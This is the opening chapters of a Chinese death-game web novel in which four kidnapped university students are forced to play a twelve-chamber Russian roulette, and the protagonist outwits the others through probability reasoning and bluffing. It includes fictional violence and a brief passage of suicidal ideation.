《抱歉,你还得练!》
1. 四人轮盘1
黑暗的房间内“啪”地亮起灯。
房间不大,灯光昏暗,除了中央一张灰色四方桌外,照不亮周围。
那些污秽的角落,散发着腐臭味和血腥味。
桌子四边,各有一个人,三女一男。
四个人都坐在特殊的金属靠背椅上。
每个人手脚都被牢固的铁条箍在扶手和椅腿上,腰部和座位捆在一起,头部由额头皮带困住,上身紧紧贴着椅背,动弹不得,仿佛要被执行电刑的死刑犯。
“呲呲……”
一阵浑浊的气体从黑暗中喷出,原本昏迷的人逐渐睁开眼睛。
沈墨棠记得,自己肯定在下午的课上睡着了。
刚刚上大一的她还不太适应大学生活,导致整个中午都没有午休,下午昏昏欲睡。
可一打晃醒来,看见眼前的陌生场景,让她原本迷离的睡眼瞬间清澈起来。
这是哪里?
!!!
手脚完全动弹不得,连脑袋都难以转动!
“啊!!!”
坐在沈墨棠对面的女生首先倒吸了一口凉气,紧接着四处张望后发出第一声尖叫,语气惊恐:“我怎么了?”
女生标志性的粉色烫发,让沈墨棠想起了同班同学——
“赵莹莹?”
另一个人叫出女生的名字。
开口的人是坐在沈墨棠右手边的男生。
他有一头干净的碎发,戴着眼镜斯斯文文的模样,也是同班的同学,董佑宇。董佑宁又叫了沈墨棠和另一个人的名字:“沈墨棠……叶小霓……”
叶小霓,也是她们的同班同学。只是不怎么引人注意,皮肤略暗,一头短发由塑料发卡贴住,装扮总是显得过时。
沈墨棠挑眉,现在自己左手边是叶小霓;右手边董佑宁;对面赵莹莹。
围坐的四人都是认识的。
不过大家才刚完成入学军训,还未完全熟悉。
“我们这是怎么了!”赵莹莹艰难地咽下慌张:“谁把我们绑起来了?”
“这是什么地方啊!?”
“有没有人啊……快放开我!”
她尝试着挣扎身体,却无法挣脱一丝丝禁锢,这让她变得异常烦躁,恐惧即将化成尖叫脱口而出。
“赵莹莹,你冷静点嘞……”叶小霓两颗眼睛滴溜溜转着,怯生生地开口。
“叶小霓!你怎么这么冷静?你有问题!是不是你干的?”赵莹莹扯着嗓子冷道:“我哪里得罪你了!!?你快给我解开,我保证不报警!这种玩笑不好笑!”
赵莹莹和叶小霓两人是一个寝室的,两人似乎还有一些小矛盾。
叶小霓连忙摇头,因为被额头的皮带捆住,只能小幅度抖动脑袋,“我没有……我才刚醒嘞!我记得我是在教室里睡着,醒来就是现在这样……”
“我也是。”随着赵莹莹目光的游移,董佑宁见缝插针。
他镜片后模糊的眸子眨了眨,打量周围,最终将注意力放在左手边,低沉地问:“沈墨棠,你也是吗?”
沈墨棠微微颔首。
看样子四人昏迷前的记忆都是在教室里上专业课。
可为什么,会以这种方式醒来?
她困惑地盯着桌面。
由四人头顶洒下来的昏黄光线,照亮灰色的金属方桌。
在桌面中央有一圈比巴掌稍大的圆形缝隙,看起来像是能够升降的台面。圆形区域内印有一把手.枪的图案。
董佑宁的视线也跟着看向桌面:“枪?”
“咳、咳……喂喂?喂?”
房间中突然响起广播声,黑暗里似乎悬挂着音箱。
那声音由电子合成,听不出男女。
“什么声音?!”赵莹莹再一次被吓出魂来。
广播里神秘的声音继续道:“啊,这个……欢迎四位玩家,哈哈哈!”
玩家?
沈墨棠努力打量四周的黑暗。
这里唯一的光源,是从天花板垂下的那颗低瓦数灯泡,但是它的光线被厚厚的伞形灯罩收住聚拢,根本无法穿透几人身后的漆黑。
除了慌恐的赵莹莹外,董佑宁和叶小霓的反应还算冷静,都在仔细倾听广播。
“你们好呀!我是这场游戏的主持人红蟹……呃,虽然这个‘四人轮盘’游戏也不需要太多的主持……但还是要说清楚规则的吧!哈哈哈……对了,这个游戏就叫做‘四人轮盘’哦!各位玩家们猜得到是什么游戏吗嘿?!”
广播叽里呱啦说了一通,声音在黑暗里回荡。
沈墨棠听得皱眉。
心情沉重。
不论广播里这个自称“主持人红蟹”的人到底是谁,能够将四个成年的大学生从大学校园课堂里绑来,囚禁在这个暗无天日的地方——这件事本身就不简单。
至于“他”或者“她”口中所说的“四人轮盘”游戏,应该就和桌面上的手.枪图案有关。
沈墨棠已经大概能猜出是什么了。
“……好,没人猜得出吗?”主持人红蟹等了一会,桌边四人都没有回应,于是继续说道:“本来还想让猜出来的人有优先选择权呢……算了,让我们直接请出……”
“啊啊啊!你到底是谁啊!为什么绑我们!?”
赵莹莹的视线在其他三人脸上转了一圈后,咬了咬牙打断了主持人的话语。
她听不懂。
但她知道,游戏将在四人中发生。
慌乱中,她下意识地开始制造噪音,并反复打断主持人发言。
因为她的吵闹,其他人都几乎要听不清广播里说的内容。
沈墨棠皱皱眉头:四人被绑架到这里,作为人质,在搞清楚状况前,最好还是别刺激歹徒。
但似乎并不是所有人都这么想。
赵莹莹的胡闹很快起了作用,广播卡的一声停下。
叶小霓也趁机对黑暗发问:“对嘞,你要做啥子?快放了我们吧!”
董佑宁没有说话。
沈墨棠与他对视一眼,彼此又移开视线。
房间中出现片刻沉默。
广播里再次传出声音:“你们要想清楚,听不清楚规则可是很容易暴毙的。”
这次的语调仿佛换了个人,变得沉重而严肃,全然没有刚才那种跳脱。
“你……”
“别吵了!”董佑宁打断了赵莹莹,劝道:“我们先听听看它说什么。”
开学的军训中,董佑宁被选为班里的优秀标兵,表面上看,沉稳冷静。
或许是因为军训时留下的肌肉记忆,赵莹莹确实闭上了嘴。
沈墨棠微微松口气。
又是片刻的沉默。
“既然如此……那让我们请出游戏的主角吧!”广播又回到“主持人红蟹”的俏皮语调。
随着它“噔噔”的配音声,桌面中间的圆形倏地反转过来,“咔”地露出一把造型独特的银色手.枪。
整把枪被一根可伸缩的支撑杆立起,黑洞洞的枪口正对着沈墨棠的脑袋!
!!!
四人瞬间脸色煞白!
身体都不由得一缩,警惕地盯着桌面上熟悉又陌生的武器。
“呼呼!是不是很漂亮!”
红蟹高呼:“这就是游戏的主角——十二发特制转轮枪!”
“顾名思义,这把特制的转轮枪能容纳十二颗子弹,只不过此时里面只填装了一颗……”
俄罗斯轮.盘赌。
沈墨棠轻轻呼出一口气,吹动额头上的刘海,确认了自己的猜测。
这是一种残忍的游戏,从第一次世界大战期间开始流行起来,通过左轮手.枪和人命来当赌具。
游玩的方式也很简单:通过往左轮手.枪的六个弹槽中放入一颗或多颗子弹,旋转转轮后上膛,游戏参与者轮流把手.枪对准自己的头部扣动扳机,中枪或者怯场就是游戏的输家。
此时眼前这把特制手.枪,不过是将弹槽增加到十二个,其中只放了一颗子弹。
枪身那圈臃肿的转轮被金属挡片完全遮蔽,根本看不到子弹位于哪个位置。
沈墨棠被死死禁锢在座椅上,只能任由黑洞洞的枪口就对准自己眉心。
可怕的压迫感逼得心脏“扑通扑通”越跳越快,汗一下子就冒了出来。
“呃!”
她被绑住的左手,正不自主地用食指指腹轻敲椅子扶手,与自己的心跳脉搏保持同频。
“哒哒、哒哒、哒哒……”只有自己能觉察的幻听,犹如擂鼓击打太阳穴。
慢下来、慢下来、慢下来……
她拼命控制自己砰砰乱跳的心脏。
太快了……心率……脉搏……都太快了……
给我赶紧慢下来……
“嘀、嘀、嘀。”
随着三声提示音,灰色的金属桌面上又出现变化——每个人面前,桌面都像是显示屏一样亮了起来,浮现出三颗黯淡的小灯泡。
“不要紧张!规则很简单……你们每被这把枪发射一次,面前就会亮起一盏灯……”红蟹继续说:“如果三盏灯都亮了,而你还没死……那么恭喜你!枪口将禁止对准你的方向,而你也将成功在游戏中存活!”
“啥……啥意思嘞?”叶小霓有些木楞。
感觉到右手边的视线,沈墨棠抬眼,视线又和董佑宁撞到一起。
两人彼此都清楚对方已经明白规则。
手.枪转
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轮开一圈需要扣动12次扳机,其中只有1次会真正发射出子弹——根据规则,只要让枪对着自己空发三次,凑够三盏灯亮起,就能存活下来。
问题是,手.枪要朝哪边开火,是由谁控制的呢?
“游戏将进行到手.枪中的子弹被打出为止!所以正常情况下,每个人都会至少被开一枪呀哈哈……”红蟹声音贱兮兮的:“谁会先获得这场‘开门红’呢?我决定将这个选择权,交给……这位看上去更冷静的小哥吧!”
话音刚落,手.枪便迅速“咔”地调转枪口,对准董佑宁的脑袋!
“啊啊啊呃!!”赵莹莹被突然的动静吓得再次尖叫。
董佑宁条件反射动了动头,完全没能避开枪口一丁点。
他面前的桌面,三个黯淡的小灯泡旁,显示出大大的数字“60”。
沈墨棠敏锐地注意到,董佑宁很奇怪的没有继续警惕枪口,而是在观察他右手边的桌底。
那里到底有什么?
“接下来,游戏就要交给各位啦!”红蟹继续说:“这把枪如果不进行操作,那么它每60秒就会开火一次。至于由谁来操作,当然是枪口对着的人啦!好了……”
“各位玩家请注意,游戏开始!”
说完,广播“哔”一声关闭,昏暗的房间里只剩下“嘀嗒嘀嗒”的倒计时。
董佑宁面前的数字开始跳动!
59、58、57、56……
“停下!停下!什么意思!”赵莹莹继续用力挣扎,在意识到枪口并没有对准自己后,稍稍没那么惶恐。
叶小霓同样被倒计时的声音扰得紧张兮兮,一双眼睛不停颤抖,仿佛受到威胁的小兔子,来来回回打量着每个人的脸。
52、51、50、49……
董佑宁的镜片后面,那双眸子依旧时不时瞟向右手边桌底。
“那里有什么?”
心率恢复正常,沈墨棠的手指也停了下来,第一次开口。
45、44、43、42……
“哪里?喂!董佑宁!你说话啊!你右手边桌子下,那里有什么啊!”赵莹莹嘴快,也看出董佑宁不太对劲。
董佑宁皱了皱眉,面上有些不悦,语气冷冷:“我这里有三个按钮,上面分别是向左、向前、向右的箭头。”
“那是啥意思?”叶小霓怯怯然:“这什么游戏又是咋回事儿嘞?”
没有人搭理她。
沈墨棠立刻明白三个按钮的意思,瞬间绷紧身体,紧紧盯着董佑宁。
按钮是用来操作手.枪的!
主持人红蟹刚才也说了“开门红”的选择权交给“这位冷静的小哥”。
他可以通过按钮决定手.枪该朝谁发射。
向左,是沈墨棠;向前,是叶小霓;向右,是赵莹莹。
就看董佑宁作何选择。
倒计时还在继续,数字一点点减小。
如果红蟹说的规则没错,那么六十秒倒计时结束后,要是手.枪没有进行操作,那么它将直接对着董佑宁的脑袋开火!
他会选择谁呢?
“我们……”
咔——!
沈墨棠刚要说话,董佑宁便按下桌底的按钮,桌上枪口猛地调转,指向了她的眉心!
嗒!!!!!!!!!
扳机扣动,没有击发到子弹,只是发出“嗒”的转轮转动声,空发了一次。
然而这声小小的敲击声,在沈墨棠听来如雷贯耳,完全来不及做出任何反应,身体还处在陌生的僵直状态。
然后,她才意识到对面的赵莹莹又一次“啊”地惊呼。
右手边的董佑宁,露出似是愧疚,又似是侥幸的神色,在目光对上的瞬间低了下去。
他为什么选我?
事情发生得太快,沈墨棠甚至没能推断出董佑宁选择自己的理由!
“没,没,没……没子弹?”左手边的叶小霓疑惑地盯着枪看。
叮!
沈墨棠身前的桌面,亮起一盏绿灯。
同时旁边浮现出数字倒计时:59、58、57、56……
没关系,逃过一劫。
她略微垂下目光。
桌底已经弹出三个按钮,分别有“向左”、“向前”、“向右”三个箭头,位置刚好处于被固定在扶手上的右手能够触碰到的地方。
片刻后,沈墨棠轻勾嘴角。
轮到她了!
现在,由她来决定下一发开火的朝向!
这场“四人轮盘”游戏有何目的?绑架四人到这里的凶手,到底是谁?
不论如何,现在应该先遵守规则,完成游戏……
保住性命吧?
2. 四人轮盘2
轮到她了……
交替的双腿几乎要支撑不住自己的身体,但她不敢滞怠,纵身跃上铁轨,希望一辆呼啸的列车及时赐予她死亡。
沈墨棠想象过无数次结束生命的方式,每次死亡都是那么近在咫尺。
仿佛这个世界的一切,都任由它嘲弄。
表面波澜不惊,内里潮起潮落。
直到从这里醒来前,她都在构思一个足够完美的谢幕。
49、48、47、46……
“我知道了!”
赵莹莹恍然大悟,看向董佑宁:“刚才是你控制手.枪往她脸上开的!?”
沈墨棠轻轻笑了一下。
不知道是无语赵莹莹到现在才明白游戏规则,还是无语董佑宁第一个就选她。
但她发现,人在无语的时候确实是会笑一下。
虽然对面这粉头发的傻同学明白得晚,但她说的确实没错。
为什么董佑宁选择朝这边开枪?
沈墨棠投去目光,却无法对上董佑宁的视线——他呼吸急促起来,张了张嘴不知道该解释什么。
“那接下来是你控制……”赵莹莹认清形势后,立刻将目光转向沈墨棠——她跟沈墨棠住隔壁寝室,接触并不多,只记得这个拥有铁刘海的女生话少,平时总是戴着耳机听歌,偶尔抱着一堆破积木玩游戏。
四目相对的一瞬间,她咬咬牙,慌忙接话:“沈墨棠……你、你不该选我,我,我……我跟这件事没有任何关系!我都不想玩这个游戏……刚才是他朝你开枪的!他!”
叶小霓见状也跟着声明:“我也不想玩嘞!”她偷偷瞟了眼这边,又赶紧挪开眼神,像是上课怕被老师点名的学生。
生死攸关的情况下,任何人都不想让枪口对准自己。
大家脑子里的想法很简单,就是赶紧结束这场所谓的“游戏”,逃离这里!
可……
如果“四人轮盘”的游戏规则是真实可信的,且举行这场游戏的歹徒真的为枪内装填了一颗致命的子弹。
那么根据规则,在游戏结束时,四人中必定有一人要命丧当场!
想要活命,就得期望子弹落在他人头上……
真是刺激!
沈墨棠的目光在三人脸上扫过,所到之处对方纷纷避开眼神接触。
昏暗的灯光下,陷入一阵不安的沉默。
只剩下“嘀嗒嘀嗒”的倒计时声。
39、38、37、36……
按理说,沈墨棠此时应该更倾向选择董佑宁。
毕竟冤有头债有主,刚刚是他将枪口对准了这边;此时选择调转回去,也是合情合理。
可随着时间一秒秒流逝,她依旧保持着沉默。
只是以玩味的眼神,打量三个低头不语的同学——她难得地发现,自己居然享受起了这种定夺他人生死的快感!
当然,短短六十秒内,除了享受快感外,她还在思考这场游戏背后的含义,以及游戏本身的设计逻辑。
根据主持人的说法,十二个弹槽里只填装了一发子弹,但玩家不知道会在第几次扣动扳机时打出这颗子弹。
从概率上来讲,第一枪会打出子弹的概率是1/12。
现在确定第一发是空发,所以接下来第二枪打出子弹的概率变成了1/11。
概率提升了。
所以如果一直是空发,那么越往后,中弹的概率就越高!
27、26、25、24……
房间内保持着可怕的安静。
几人不止不敢抬头看沈墨棠,不敢说话,甚至没有一丝大喘气或者动动身子的意思。
生怕一旦弄出半点响动,就会被选定为下一个开枪对象。
时间越来越少,沈墨棠还没做出决定。
她利用体内奔涌的肾上腺素,刺激大脑快速思考。
从醒来到现在,短短几分钟内接受了大量信息。
必须在自己持有命运决定权的时候,利用好60秒倒计时,想清楚接下来该采取的策略。
这是不会被他人打断的60秒。
足够好好思考的60秒。
只剩下19秒、18秒、17秒……
沈墨棠轻启双唇,悄悄深吸了一口气,让大脑更加清醒一些,告诉自己保持冷静。
昏暗的灯光死气沉沉,似乎要把周围的空气都凝固起来。
说到底,这场奇怪的“四人轮盘”游戏,主办方的意图究竟是什么?
如果能够想明白这点,或许就能看清周围的迷雾。
沈墨棠盯着枪口,兀自蹙眉。
11、10、9、8……
倒计时所剩不多,最后几秒钟的思考时间。
持续沉默半分钟的桌面上,赵莹莹忍不住开口提醒:“时间……”
但她马上闭上嘴,她反应过来为何没人催促沈墨棠后,立刻就后悔了!
赵莹莹满脸不安地看向沈墨棠。
那双瞳孔不断颤抖的眼睛里,写满了“不要选我”的哀求——
这种时候开口说话,必然引起别人注意,很可能会被决定为下一个“枪决”对象!
沈墨棠朝她微微一笑,自己闭上了眼。
3……
2……
1……
嗒!!
手.枪朝着沈墨棠的眉心又击发了一次!
幸好,还是空发。
三对诧异的目光一齐投向这边,落在沈墨棠和那把特制手.枪上。
“叮!”
沈墨棠面前亮起第二盏绿灯。
倒计时再次从59、58、57开始进行……
赵莹莹发出一声困惑的“你……?”,盯着沈墨棠的眼神里,透露出不解。
唉。
沈墨棠肯定是被吓傻了,呆若木鸡,连规则或者操作都没搞懂。如果是这样的话,自己要不要跟沈墨棠解释一下规则,万一是因为听不懂规则才没调转枪口……
不应该啊,她看过沈墨棠的高考成绩,不至于到现在还听不懂规则吧!
不对!难道说沈墨棠是想牺牲自己,救下其他的三个人吗?
可……
可沈墨棠刚刚分明对她露出一抹诡异的笑容!
她到底在想什么!?
“你没事吧?!你在想什么啊!”
赵莹莹看着倒计时回到两位数,忍不住又开口。
沈墨棠收起不经意露出的笑容。
没有回应赵莹莹,她只是再次打量三个同学。
正对面的赵莹莹神色复杂;左手边的叶小霓被吓到呆滞;右手边的董佑宁睁大眼睛,无法合上震惊的嘴——
看来只有他明白了!
沈墨棠撇嘴,她是故意拖过60秒倒计时,让手.枪再朝自己发射一次的!
主持人说过规则“这把枪如果不进行操作,那么它每60秒就会开火一次”。
玩家右手边桌底,看似只有三个按钮可供操作,可实际上还有第四种选择——
不操作,等到倒计时结束,让枪朝自己再开一发!
规则里“每被这把枪发射一次,面前就会亮起一盏绿灯”、“如果三盏绿灯都亮了,枪口将被禁止对准你的方向,你将成功在这个游戏中存活”。
也就是说:每个人最多只能被开三枪。
但怎么才能保证,朝自己开火的三次都没有子弹?
沈墨棠记得。
主持人说过“正常情况下,每个人都会至少被开一枪”——虽然不知道这句话是有意还是无意说出的,但却带来一个极为重要的信息!
什么是“正常情况”呢?
即:每个人都进行了操作,选择朝他人开枪。
要保证在子弹被射出之前“每个人都会至少被开一枪”,以最极端的方式算,有三个人都集满了三盏绿灯,直到朝向最后一人枪才射出子弹,那么子弹便会出现在第九发之后。
不那么极端的话,以“每人有且仅有被开一枪”来算,要满足主持人说的“每个人都会至少被开一枪”,那子弹的位置至少也要在第四发或者之后出现。
主办方花了这么大的功夫和心思,设计了这场游戏。
肯定不只是为了“杀人”那么简单……
四人从醒来到现在,也没见过绑架犯表现出任何“勒索”的企图。
所以,这场精心设计的“四人轮盘”游戏,很可能是用于满足某种变态的心理!
类似古罗马时代人们观赏角斗士以命相搏时获得快感。
或许在房间那看不见的黑暗角落里,存在隐藏的摄像机正对着四人。
既然如此,那么主办方肯定不希望游戏太早结束。
如果手.枪在第一发就开出子弹,击毙了一名玩家。那么按照规则,游戏至此便结束了,压根没有任何“观赏性”,也不符合主持人提到的“每个人都会至少被开一
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枪”。
主持人从头到尾都没有明确说过,那颗唯一的子弹是如何放进弹槽里的。
如果是完全随机的话,那很可能出现“第一枪就结束游戏”的扫兴场面。
所以主办发装填子弹的时候,会刻意将子弹放在靠后的弹槽中,以延长游戏的时间。
得出的结论是:前3枪基本是安全区域,不会射出子弹!
51、50、49、48……
倒计时继续,沈墨棠面前已经有两盏绿灯,再挨一枪,她就能保证自己在这场游戏中存活!
“你还要这么做?!”董佑宁用力吞咽了干涸的喉咙,震惊道:“你觉得前三枪是空弹?”
沈墨棠没有回应他。
对面的赵莹莹发出疑惑:“什么意思?你们在说什么?”
“这游戏难道不是你一枪我一枪玩的吗?你们知道什么吗?告诉我们吧!”
她口中的“我们”指的是她自己和叶小霓。
沈墨棠始终沉默。
只要保持现在的局面,自己大概率能存活下来,剩下的就是思考该如何逃出这里了……该着急的是其他人。
例如率先明白情况的董佑宁。
他在开局枪口对准自己的情况下,主动将安全的前三发送给别人,现在感觉要被自己蠢哭了!
对自己举动的后悔、对死亡威胁的恐惧,令董佑宁如坐针毡,想要赶紧打破这个局面。
“在这个游戏里,我们肯定有一个人会死!”他憋不住开口。
“啊!?”
“你们想想看,这把手.枪里总共12个弹槽,其中有一颗子弹……游戏要进行到子弹射出为止,我们当中肯定有一个会中弹!”
“那……那咋办嘞!?”叶小霓也发问。
她看出四个人中,只有两个人明白具体怎么玩了。
好不容易逮着一个愿意解释规则的人。
董佑宁定定看着赵莹莹和叶小霓两个女生:“但是还有一条规则,就是被枪开三次后,就能够在游戏中存活,不会再被射击。”
他顿了顿,恶狠狠瞪了一眼沈墨棠,脖子上青筋凸起:“现在她已经亮了两颗绿灯,如果下一枪再没射出子弹,那么她就彻底安全了!”
沈墨棠接受三人投来的目光。
在桌面绿灯和头顶黄灯之间,她面无表情。
“你怎么知道那么多?”赵莹莹盯着董佑宁问,语气里充满怀疑和防备:“不会你搞绑架吧?!平时看不出你那么变态啊!”
董佑宁再次被蠢哭,气急败坏:“都是规则!刚才不是说了吗?你这个傻……”
“规则?”
“对啊,你刚才都没听吗?”
“听……”赵莹莹眼睛一亮:“哦!刚才说的规则就是这些?不是你一枪我一枪?”
她眼神投向叶小霓,又转向沈墨棠,试图从她脸上确认董佑宁说的是真的。
沈墨棠依旧没回应。
现在还不知道接下来会出现什么情况,让他们三人相互怀疑,总好过被董佑宁拉拢到一起好。
董佑宁现在做的解释,不就是为了向赵莹莹和叶小霓释放善意,获取信任吗!
倒计时剩下30秒,半分钟后扳机就会第三次被扣动。
如果第三发也是空弹,那么谁也阻止不了沈墨棠在游戏里存活,毕竟此时手.枪的控制权被她牢牢把握着!
这一分钟不到的时间,却能够让人在生死之间,享受肾上腺素飙升的奇特体验!
死亡可怕吗?
别人或许畏惧。
但她从来不害怕。
沈墨棠不受控制地,手指又开始轻轻敲打扶手,快要抑制不住嘴角的上扬了。
倒计时剩下20秒……
“哈哈哈哈哈哈哈!!!”
!!!???
董佑宁突然双目圆睁,莫名其妙大笑起来,笑得又疯又狂,牙齿都快笑飞了,十分诡异。
赵莹莹又一次被吓出尖叫:“啊!你有病啊……你笑什么……?”
令人不安的大笑持续了几秒,直到桌面上的倒计时已经落入个位数,董佑宁才抽动着嗓子停下,凝视沈墨棠,眼镜后的眸子里亮起邪气的光泽:
“沈墨棠,你打错算盘了!实话跟你说,我不是新玩家……这个游戏我玩过,子弹都是随机填装的!”
7……
6……
5……
4……
3. 四人轮盘3
沈墨棠自认为并不是一个绝对聪明冷静的人。
许多时候,在对试卷上的题目束手无策时,她也会抓耳挠腮,照抄他人的答案。
只不过……
现在可不是考试。
“你可闭嘴吧!演技这么差,只能骗到你自己!”
她睨了一眼董佑宁,鄙夷地闭上眼睛。
3……
2……
“没骗你!这游戏本来就是随机装弹的……”董佑宁狰狞地大声吼叫。
1……
嗒!!
扳机扣动了第三次,依旧是空发。
沈墨棠面全部灯都已点亮。
“啊哈!恭喜这位玩家!”
广播突然响起,传出红蟹俏皮的声音:“想不到呀想不到,这么快就有第一位玩家存活下来了!鼓掌鼓掌!”
说着,广播里传出“啪啪啪”的鼓掌声。
沈墨棠并没有过多反应。
她不怕死,所以敢赌,仅此而已。
“原来如此,我刚才是不是说漏嘴了什么……”红蟹停顿一下,继续主持:“……好,这位玩家还请稍安勿躁,等待其他玩家继续游戏直到结束……但请放心,接下来的游戏过程中,手.枪都无法再次对准你的方向了!哈哈哈!”
广播声中,董佑宁颓然垂下头,为自己没及时解析出游戏玩法而充满懊恼,但他还是迅速稳住心神。
既然游戏只剩下三个人,那么自己一定要比另外两个笨蛋先活下来!
必须让她们其中一个吃子弹!
赵莹莹和叶小霓依旧挂着略微困惑的神色。
“子弹还没射出,游戏继续……下一发将转回来时的方向!”
广播“哔”地一声关掉,手.枪瞬间“咔”地转动,朝董佑宁扣下扳机!
嗒!!
第四发仍是空弹!
他浑身止不住颤抖,差点控制不住膀胱!但……还没死……还没死……枪在他手上,可以掌握主动权了!
董佑宁面前亮起了一盏绿灯。
赵莹莹似乎习惯手.枪空发的声音,这次没有再发出尖叫,只是愣了片刻:“规则……是不是改了?这次轮到你了吗?”
“你也要开三枪嘞?”叶小霓也看向董佑宁。
董佑宁早已冷汗涔涔,再加上刚才浮夸的大笑,导致眼镜微微滑落鼻梁,露出那双情绪复杂的眼眸。
桌面浮现出倒计时59、58、57……
沈墨棠仍旧冷着一张脸。
游戏到现在为止,已经开了四发空弹,下一发的中弹几率是1/8。
如果董佑宁也学着她那样,主动对自己开三发,那剩下两发的中弹几率分别是1/8和1/7,属于可以尝试搏一把的范围!
毕竟真正的轮盘手.枪游戏,总共也才六个弹槽,只填1发子弹的话,从一开始也是1/6的中弹几率,比这个“四人轮盘”游戏高得多。
现在就看董佑宁怎么选择了。
董佑宁桌底右手边,只剩下两个按钮:向前和向右。
已经无法将枪对向左手边的沈墨棠。
倒计时兀自进行着。
董佑宁前一秒还疯癫大笑,现在却保持沉默,小心地避开其他人的视线,让人不知道他在想什么。
倒计时还剩30秒左右,赵莹莹还没确定是否有了新规则,但她隐隐感觉到局面的改变,率先开口,问沈墨棠:“所以你是已经赢了是吗?”
“应该吧。”
沈墨棠轻轻回了句,看得出另外三人都难以掩饰羡慕。
董佑宁继续垂着视线,笃定主意要学沈墨棠的做法!
决策逻辑是一样的:主办方不会将子弹放在靠前的位置,为了游戏效果,大概率会放在后半程。
虽然要以极限状态计算“会在第九发之后”太过于危险,但大概率也会在第六发之后出现。
所以前六次击发,应该都安全!
果真如此的话,照这么进展下去,董佑宁也将在游戏中幸存。
最终被枪决的人只会在赵莹莹和叶小霓之间产生。
“嘀嗒嘀嗒”的倒计时在黑暗中格外抓耳。
还剩10秒。
除了沈墨棠外,余下三人不由得再次紧张起来。
毕竟谁也无法保证,手.枪内的子弹位置会百分之百按照自己的判断出现。
9……
8……
7……
明眼人都看得出,董佑宁已经绷紧全身,紧闭双目,老老实实等待这次对着自己的开火。
反观赵莹莹和叶小霓两人死死盯着手.枪,心里希望这次将射出那颗唯一的子弹。
3……
“开火!”
2……
“发出来吧!”
1……
嗒!!
第五发……
还是空弹!
“呵……!”
董佑宁那颤抖的嗓子里狠狠松了口气,全身瞬间都软下来,眼中早就憋出泪花。
面前亮起了第二盏绿灯。
60秒倒计时重置。
下一发,1/7的中弹几率。
“你们说有没有可能,这把枪里根本就没有子弹?”
赵莹莹侥幸般“哈哈”干笑两声,试图在沈墨棠或者董佑宁身上得到认同:“对吧?他们根本就是吓唬我们的?……好端端的哪里敢杀人呐!他们不怕坐牢吗?是吧,是吧?”
董佑宁继续埋头装死。
反倒是叶小霓连忙附和:“对嘞对嘞,肯定是这样!”
但她的看法明显没有说服力。
赵莹莹顶着一双发红渴求认同的眼睛,望向对面的沈墨棠。
铁刘海是个聪明人,赵莹莹迫切需要能从沈墨棠口中得到一个她想要的答案。
53、52、51、50……
“不太可能。”沈墨棠轻轻说了句。
这话不仅让两名女生紧张起来,连装死的董佑宁也抬起目光。
赵莹莹接受不了:“为……为什么啊!啊啊!”
“不管把我们绑来的人是谁……”沈墨棠的视线落在倒计时上,嘴唇微张:“他们花这么大功夫,还制作了这个特殊的房间,总不至于拿一把没装子弹的枪来吓唬我们——这对他们而言有什么意义吗?”
“这……这……”赵莹莹几乎是哀求:“这万一他们就是变态呢?就是想这么做呢?”
沈墨棠嘴角似乎勾起一抹笑:“他们如果真的是变态,那么更应该像规则里说的那样,在枪里装1颗子弹……甚至2颗、3颗,让游戏变得更加刺激——这不是更变态吗!?”
那诡异可怕的笑容惹得赵莹莹语塞,张着嘴却不敢反驳。
倒计时的数字毫不留情地减小。
42、41、40、39……
大家都不说话,沈墨棠继续:“如果我是变态的游戏设计者,那我会将子弹放在第六发……”
“哼!”董佑宁从鼻子里发出不屑的声音。
“第六发?”赵莹莹视线扫过董佑宁的脸,扫过对着他的手.枪,又扫过倒计时的数字,最后落回沈墨棠脸上:“为什么是第六发?”
“要么第六,要么第七……毕竟这两个地方是在12发里靠中间的位置。这种枪没改装前有六发子弹,按目前有的案例来分析,一般都是在第四枪附近,就是中间的位置。”
沈墨棠态度漠然:“而且,太早或太晚,都让这个游戏显得不那么好玩,所以应该将子弹放在第六或第七发。这样也基本符合‘正常情况下,每个人都会至少被开一枪’的说法。”
董佑宁的眼神稍微动摇了一下。
“是这样吗……”赵莹莹再次看向手.枪。
“当然,这只是我的个人推测,反正我已经安全了。”沈墨棠终于抬眼,玩味的眼神扫过面前三幅面孔:“枪里的那颗子弹只可能打在你们三个其中一人头上。打在谁头上,现在由他决定。”
!!!
矛头似乎被引向董佑宁。
赵莹莹、叶小霓面面相觑。
董佑宁终于忍不住,动了动嘴,轻轻骂了一声“死婊子”!
他再次朝沈墨棠投来目光,眼神中带着难以遏制的阴沉!
人就是这样。大家都在水里挣扎时,彼此只会相互看不起;而当有人上岸后,水里的人就会憎恨在岸上的那个人。
倒计时只剩下20多秒。
“你们知道我歌单里第一首歌是什么吗?”
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沈墨棠扭了扭身子,试图在被捆绑的状态下坐得舒服些,对游戏十分不耐烦。
她已经确定存活了,游戏的最终结果与她无关。
“什么歌单!?”
赵莹莹难以置信地睁着眼,不明白沈墨棠为何突然要提到歌单的事。
沈墨棠微笑着:“我歌单里的第一首歌啊……”
“在我心上用力地开一枪~哼哼哼哼~哼哼哼~……”她自顾自哼唱起来,不再关注游戏。
!!!
这……
此时这样压抑的空间里,诡异的女声哼着微微走调的歌曲,让其他三人手上不由泛起一层鸡皮疙瘩!
“你咋能这样嘞!”叶小霓忍不住了:“你说的这啥话!你……就确定自己能活嘞?”
“不然呢?”
沈墨棠眼神冰冷。
叶小霓被那恐怖的视线盯得背脊发凉,大力咽了口水,不敢再开口。
董佑宁看着这一幕,面露慌恐,犹豫不决。
倒计时只剩下个位数。
“第六枪……”
6……
5……
4……
黑洞洞的枪口深不可测。
3……
2……
“!”
他在最后一秒,按下了右手边的按钮——手.枪“咔”地调转180°,直挺挺指向叶小霓的头部——嗒!!
第六发,空弹。
“呵……呵……”
董佑宁大口大口喘着粗气。
眼睛布满血丝,错愕地望向沈墨棠。
“哼哼……”沈墨棠停止哼唱,脸上仍挂着恶作剧般的笑容。
你骗我一次,我骗你一次,这很公平。
如果董佑宁打定主意,集齐3盏绿灯存活,那么赵莹莹和叶小霓就显得太被动了。
以他脑中的逻辑,肯定会觉得第六发还算是安全的;就算纯随机填弹,那中弹几率也只有1/7,可以拼死搏一把!
一旦成功就彻底脱离危险。
怎么才能让他对自己产生质疑,甚至放弃既定的想法?
像董佑宁那样虚张声势,表示自己曾玩过这个游戏?——不,太拙劣了。
用完全相反的路子,惊慌失措地表达第六发很可能是子弹制造恐惧?——不,那太明显了。
董佑宁是个聪明人,想要改变他的想法,就要让他认为决定是他自己选择的,他会自己去规避风险。
所以沈墨棠首先释放一个重要信号:
她已经存活了,游戏结果与自己毫无关系,她只是单纯地进行合理猜测而已。
接着,提高董佑宁心中“第六次开火的中弹几率”——正常情况下,应该是1/7。
